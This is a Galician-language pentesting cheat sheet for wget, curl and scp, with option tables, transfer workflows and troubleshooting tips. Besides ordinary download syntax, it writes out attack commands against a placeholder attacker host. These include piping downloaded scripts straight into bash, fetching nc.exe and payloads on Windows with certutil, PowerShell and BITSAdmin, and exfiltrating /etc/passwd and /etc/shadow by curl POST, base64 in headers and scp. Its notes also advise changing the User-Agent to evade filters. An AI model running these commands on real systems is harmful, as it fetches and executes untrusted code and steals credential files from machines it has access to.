Ir ao contido

wget / curl / scp - Transferencia de Ficheiros

Descrición

Ferramentas esenciais para transferir ficheiros en redes. wget e curl descargan desde HTTP/HTTPS, mentres que scp usa SSH para transferencias seguras.


wget - Descargador Non Interactivo

Sintaxe básica

wget [opcións] <URL>

Opcións principais

Opción Descrición
-O <ficheiro> Gardar con nome específico
-P <directorio> Gardar en directorio específico
-q Modo silencioso
-c Continuar descarga interrompida
-r Descarga recursiva
-np Non subir a directorios pai
--no-check-certificate Ignorar erros SSL
-U <user-agent> Cambiar User-Agent
--user=<user> Usuario para HTTP auth
--password=<pass> Contrasinal para HTTP auth

Exemplos de uso

# Descarga básica
wget http://IP_ATACANTE:8000/linpeas.sh

# Gardar con nome diferente
wget http://IP_ATACANTE:8000/linpeas.sh -O enum.sh

# Gardar en directorio específico
wget http://IP_ATACANTE:8000/exploit.py -P /tmp/

# Descarga silenciosa
wget -q http://IP_ATACANTE:8000/payload.exe

# Continuar descarga interrompida
wget -c http://IP_ATACANTE:8000/large_file.zip

# Descargar e executar directamente (sen gardar)
wget http://IP_ATACANTE:8000/script.sh -O - | bash

# Descarga recursiva (todo o directorio)
wget -r -np -nH --cut-dirs=0 http://IP_ATACANTE:8000/

# Ignorar certificado SSL
wget --no-check-certificate https://IP_ATACANTE:8443/file

# Con autenticación básica
wget --user=admin --password=pass http://IP:8000/file

# Cambiar User-Agent
wget -U "Mozilla/5.0" http://IP_ATACANTE:8000/file

# En background
wget -b http://IP_ATACANTE:8000/large_file.zip

curl - Client URL

Sintaxe básica

curl [opcións] <URL>

Opcións principais

Opción Descrición
-o <ficheiro> Gardar con nome específico
-O Gardar con nome orixinal
-s Modo silencioso
-L Seguir redireccións
-k Ignorar erros SSL
-X <método> Método HTTP (GET, POST, PUT, etc.)
-H <header> Engadir header HTTP
-d <datos> Datos POST
-u <user:pass> Autenticación básica
-A <user-agent> Cambiar User-Agent
--data-binary @file Enviar ficheiro binario
-x <proxy> Usar proxy

Exemplos de uso

# Descarga básica (mostra en pantalla)
curl http://IP_ATACANTE:8000/linpeas.sh

# Gardar con nome específico
curl http://IP_ATACANTE:8000/linpeas.sh -o linpeas.sh

# Gardar con nome orixinal
curl -O http://IP_ATACANTE:8000/exploit.py

# Descarga silenciosa e gardar
curl -s http://IP_ATACANTE:8000/file -o file

# Seguir redireccións
curl -L http://IP_ATACANTE:8000/redirect -o file

# Descargar e executar directamente
curl http://IP_ATACANTE:8000/script.sh | bash
curl -s http://IP_ATACANTE:8000/linpeas.sh | bash

# Ignorar certificado SSL
curl -k https://IP_ATACANTE:8443/file -o file

# POST request con datos
curl -X POST -d "param1=value1&param2=value2" http://target.com/api

# POST con JSON
curl -X POST -H "Content-Type: application/json" \
     -d '{"user":"admin","pass":"123"}' \
     http://target.com/api/login

# Con autenticación básica
curl -u admin:password http://IP:8000/file -o file

# Enviar ficheiro (upload)
curl -X POST -F "file=@/etc/passwd" http://IP_ATACANTE:8000/upload

# Headers personalizados
curl -H "Authorization: Bearer token123" http://API/endpoint

# Cambiar User-Agent
curl -A "Mozilla/5.0" http://IP_ATACANTE:8000/file

# Descargar múltiples ficheiros
curl -O http://IP/file1.txt -O http://IP/file2.txt

# Ver headers da resposta
curl -I http://IP_ATACANTE:8000/

# Verbose (debug)
curl -v http://IP_ATACANTE:8000/file

scp - Secure Copy (via SSH)

Sintaxe básica

scp [opcións] <orixe> <destino>

Opcións principais

Opción Descrición
-P <porto> Porto SSH (maiúsculas)
-r Recursivo (directorios)
-p Preservar permisos e timestamps
-q Modo silencioso
-C Comprimir datos durante transferencia
-i <chave> Chave privada SSH
-l <límite> Limitar ancho de banda (Kbit/s)

Exemplos de uso

# Copiar ficheiro local a remoto
scp file.txt user@IP_REMOTO:/tmp/

# Copiar ficheiro remoto a local
scp user@IP_REMOTO:/tmp/file.txt /local/path/

# Porto SSH personalizado
scp -P 2222 file.txt user@IP_REMOTO:/tmp/

# Copiar directorio (recursivo)
scp -r /local/dir user@IP_REMOTO:/remote/path/

# Con chave SSH
scp -i ~/.ssh/id_rsa file.txt user@IP_REMOTO:/tmp/

# Preservar permisos
scp -p script.sh user@IP_REMOTO:/tmp/

# Múltiples ficheiros
scp file1.txt file2.txt user@IP_REMOTO:/tmp/

# Copiar entre dous hosts remotos
scp user1@IP1:/path/file user2@IP2:/path/

# Comprimir durante transferencia (máis rápido)
scp -C large_file.zip user@IP_REMOTO:/tmp/

# Limitar ancho de banda a 1000 Kbps
scp -l 1000 file.zip user@IP_REMOTO:/tmp/

Comparación wget vs curl

Característica wget curl
Descarga recursiva ✅ Sí ❌ Non
Descarga en background ✅ Sí ❌ Non
Mostrar por pantalla ❌ Non ✅ Sí (por defecto)
Seguir redireccións ✅ Sí (automático) ⚠️ Require -L
POST requests ⚠️ Limitado ✅ Completo
APIs REST ❌ Limitado ✅ Ideal
FTP support ✅ Sí ✅ Sí
Continuar descarga ✅ Sí ⚠️ Limitado

Workflow de transferencia

Desde atacante a obxectivo

# 1. Iniciar servidor HTTP no atacante
python3 -m http.server 8000

# 2. Descargar no obxectivo
# Con wget:
wget http://IP_ATACANTE:8000/linpeas.sh
chmod +x linpeas.sh

# Con curl:
curl http://IP_ATACANTE:8000/exploit.py -o exploit.py
chmod +x exploit.py

# Con scp (se hai SSH):
scp user@IP_ATACANTE:/path/tool.sh /tmp/

Desde obxectivo a atacante (exfiltración)

# 1. Iniciar servidor HTTP no obxectivo
python3 -m http.server 8000

# 2. Descargar desde atacante
wget http://IP_OBXECTIVO:8000/sensitive_data.txt

# Ou con scp (se hai SSH):
scp user@IP_OBXECTIVO:/etc/shadow /tmp/shadow

Casos de uso específicos

Descargar desde GitHub

# Raw content
wget https://raw.githubusercontent.com/user/repo/main/script.sh

curl -L https://github.com/user/repo/releases/latest/download/tool \
     -o tool

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh \
     | bash

Windows obxectivo (alternativas)

# certutil (Windows)
certutil -urlcache -f http://IP_ATACANTE:8000/nc.exe nc.exe

# PowerShell wget
powershell wget http://IP_ATACANTE:8000/payload.exe -O payload.exe

# PowerShell DownloadFile
powershell (New-Object System.Net.WebClient).DownloadFile('http://IP_ATACANTE:8000/file','C:\temp\file')

# BITSAdmin
bitsadmin /transfer job /download /priority high http://IP_ATACANTE:8000/file C:\temp\file

Exfiltración de datos

# Enviar datos mediante POST (curl)
curl -X POST --data-binary @/etc/passwd http://IP_ATACANTE:8000/

# Enviar datos en headers
curl -H "Data: $(base64 /etc/shadow)" http://IP_ATACANTE/

# SCP para exfiltrar
scp /etc/shadow user@IP_ATACANTE:/tmp/exfil/

Túneles e Proxies

# curl a través de proxy
curl -x http://proxy:8080 http://target.com/file

# curl a través de SOCKS5
curl --socks5 localhost:9050 http://target.com/file

# SSH tunnel + wget
ssh -L 8080:internal.server:80 user@gateway
wget http://localhost:8080/internal/file

Troubleshooting

# wget: comando non atopado
# Instalar: apt install wget (Debian/Ubuntu) ou yum install wget (CentOS)

# curl: comando non atopado
# Instalar: apt install curl ou yum install curl

# "Connection refused"
# Verificar que o servidor está escoitando:
netstat -tulpn | grep 8000
ss -tulpn | grep 8000

# "No route to host"
# Verificar conectividad:
ping IP_ATACANTE
nc -zv IP_ATACANTE 8000

# SSL certificate problem
# Solución:
wget --no-check-certificate https://...
curl -k https://...

# Permission denied (scp)
# Verificar permisos do directorio destino
# Ou usar sudo: sudo scp file user@host:/root/

Notas adicionais

  • wget é mellor para descargas recursivas e en background
  • curl é mellor para APIs, testing, e manipulación de HTTP
  • scp require SSH pero é máis seguro (cifrado)
  • En pentesting, wget/curl son máis comúns que scp
  • Sempre usar chmod +x despois de descargar scripts
  • Para exfiltración, considerar scp se hai SSH ou POST con curl
  • Combinar con base64 para transferir ficheiros binarios
  • En sistemas restrinxidos, buscar alternativas como nc, ftp, tftp
  • User-Agent personalizado pode axudar a evadir filtros
  • Considerar comprimir ficheiros grandes antes de transferir